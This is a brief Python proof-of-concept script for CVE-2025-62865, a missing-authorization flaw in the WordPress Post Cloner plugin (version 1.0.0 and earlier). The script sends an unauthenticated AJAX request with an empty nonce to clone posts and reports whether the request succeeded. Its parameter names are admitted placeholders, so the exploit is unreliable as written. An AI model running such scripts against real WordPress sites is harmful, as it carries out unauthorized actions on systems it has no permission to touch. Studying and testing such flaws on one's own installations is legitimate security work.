CVE-2025-62865

import requests # CVE-2025-62865 PoC - Missing Authorization in Post Cloner plugin # Target: WordPress site with Post Cloner plugin <= 1.0.0 target_url = "http://target-wordpress-site.com" # PoC: Exploit the missing authorization to clone posts # The plugin's clone function is accessible without proper authorization check def exploit_cve_2025_62865(): """ This PoC demonstrates the broken access control vulnerability in Post Cloner. The plugin does not properly verify user permissions before cloning posts. """ # Step 1: Identify the vulnerable endpoint clone_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Craft the request with necessary parameters # The actual parameter names may vary - these are placeholders data = { 'action': 'post_cloner_clone', # Plugin AJAX action 'post_id': 1, # Target post ID to clone 'nonce': '' # Some versions may not properly validate nonce } # Step 3: Send the request without authentication # If vulnerable, this will clone the post without authorization response = requests.post(clone_endpoint, data=data) if response.status_code == 200: print("[+] Potential vulnerability confirmed - Unauthorized clone successful") print(f"[+] Response: {response.text}") else: print("[-] Request failed or patch applied") if __name__ == "__main__": exploit_cve_2025_62865()

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